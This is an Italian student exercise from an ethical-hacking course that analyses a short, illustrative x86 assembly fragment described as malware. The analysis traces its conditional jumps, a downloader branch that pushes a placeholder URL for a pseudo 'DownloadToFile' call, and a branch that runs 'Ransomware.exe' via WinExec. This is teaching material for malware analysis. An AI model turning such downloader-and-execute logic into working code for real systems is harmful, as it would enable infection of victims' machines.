Cybersecurity Specialist

Cyber Security & Ethical Hacking

GIORNO 5 – PROGETTO

Alejandro Cristino
S11-L5

TRACCIA

Con riferimento al codice presente nelle slide successive, rispondere ai seguenti quesiti:

1. Spiegate, motivando, quale salto condizionale effettua il Malware.
2. Disegnare un diagramma di flusso (prendete come esempio la visualizzazione grafica di IDA) identificando i salti condizionali (sia quelli effettuati che quelli non effettuati). Indicate con una linea verde i salti effettuati, mentre con una linea rossa i salti non effettuati.
3. Quali sono le diverse funzionalità implementate all'interno del Malware?
4. Con riferimento alle istruzioni «call» presenti in tabella 2 e 3, dettagliare come sono passati gli argomenti alle successive chiamate di funzione . Aggiungere eventuali dettagli tecnici/teorici.

SEGUE

Tabella 1

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

Tabella 2

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile ()	; pseudo funzione

Tabella 3

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings \Local User\Desktop \Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

1. Spiegate, motivando, quale salto condizionale effettua il Malware.

Un salto condizionale è un'istruzione che consente al programma di passare da una sezione del codice a un'altra in base a condizioni specifiche. In pratica, il programma salta a una diversa parte del codice solo se una determinata condizione è soddisfatta; in caso contrario, continua l'esecuzione sequenziale. Questa tecnica è essenziale per il controllo del flusso all'interno di un programma, poiché permette di prendere decisioni dinamiche in base ai dati di input o allo stato interno del programma stesso.

Nel caso specifico di questo malware, ci sono due salti condizionali. Tuttavia, il primo non viene eseguito perché la condizione non è soddisfatta: il confronto restituisce zero, quindi il salto non viene effettuato.

Tabella 1

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

SEGUE

Comportamento del codice:

1. Istruzione a 00401048:
• cmp EAX, 5: Confronta il valore in EAX con 5. Dopo la prima mov, EAX è 5, quindi il confronto risulta in zero.
• jnz loc 0040BBA0 (0040105B): Salta se il risultato del confronto NON è zero. Tuttavia, dato che il confronto ha prodotto zero (perché EAX è effettivamente 5), il salto NON verrà effettuato. Il programma continuerà con l'istruzione successiva.
2. Istruzione a 00401064:
• cmp EBX, 11: Confronta il valore in EBX con 11. Dopo mov e inc, EBX diventa 11.
• jz loc 0040FFA0 (00401068): Salta se il risultato del confronto è zero. Dato che EBX è 11, il confronto risulta zero, quindi il salto VERRÀ effettuato.

Conclusione:

• Salto 1 (0040105B jnz): Non viene effettuato perché EAX è uguale a 5 e il confronto produce zero.
• Salto 2 (00401068 jz): Viene effettuato perché EBX è uguale a 11 e il confronto produce zero.

2. Disegnare un diagramma di flusso

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile ()	; pseudo funzione

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings \Local User\Desktop \Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

3. Quali sono le diverse funzionalità implementate all'interno del Malware?

Le funzionalità rappresentano le azioni che il software dannoso può eseguire sul dispositivo infetto o sul sistema bersaglio. Queste capacità possono variare notevolmente a seconda del tipo di malware e degli obiettivi degli attaccanti. Il malware in esame incorpora due funzionalità, sebbene solo una venga effettivamente utilizzata.

1. Prima funzionalità: Si tratta di un downloader progettato per stabilire una connessione a un URL malevolo tramite l'istruzione "push EAX ; URL" e per scaricare un file utilizzando una chiamata di funzione come "call DownloadToFile()". Tuttavia, questa funzionalità non viene attivata durante l'attacco.

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile ()	; pseudo funzione

2. Seconda funzionalità: La funzionalità effettivamente utilizzata è quella di ransomware. In questa fase, il malware esegue un file situato nel percorso "C:\Program and Settings\Local User\Desktop\Ransomware.exe".

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings \Local User\Desktop \Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

4. Con riferimento alle istruzioni «call» presenti in tabella 2 e 3, dettagliare come sono passati gli argomenti alle successive chiamate di funzione . Aggiungere eventuali dettagli tecnici/teorici.istruzioni

Le istruzioni call, o “funzioni chiamate”, sono subroutine o blocchi di codice all’interno del malware utilizzati per invocare altre funzioni o moduli di codice. Nel contesto di questo Malware le funzioni call sono le seguenti:

1. Call a DownloadToFile():

- Passaggio degli argomenti: Prima di chiamare DownloadToFile(), il valore contenuto in EDI viene copiato nel registro EAX, successivamente esegue un’operazione push su EAX, che contiene l’URL (che è www.malwaredownload.com) del file da scaricare. Questo argomento viene passato alla funzione tramite lo stack.
- Funzione: DownloadToFile() esegue il download del file specificato.

Tabella 2:

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile ()	; pseudo funzione

SEGUE

2. Call a WinExec():

- Passaggio degli argomenti: Prima di chiamare WinExec(), Il valore contenuto in EDI (che è C:\Program and Settings\Local User\Desktop\Ransomware.exe) viene spostato nel registro EDX, successivamente il malware esegue un'operazione push su EDX, che contiene il percorso del file da eseguire. Questo argomento viene passato alla funzione tramite lo stack.
- Funzione: WinExec() esegue il file specificato.

Tabella 3:

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings \Local User\Desktop \Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

Cybersecurity Specialist

Cyber Security & Ethical Hacking

GRAZIE.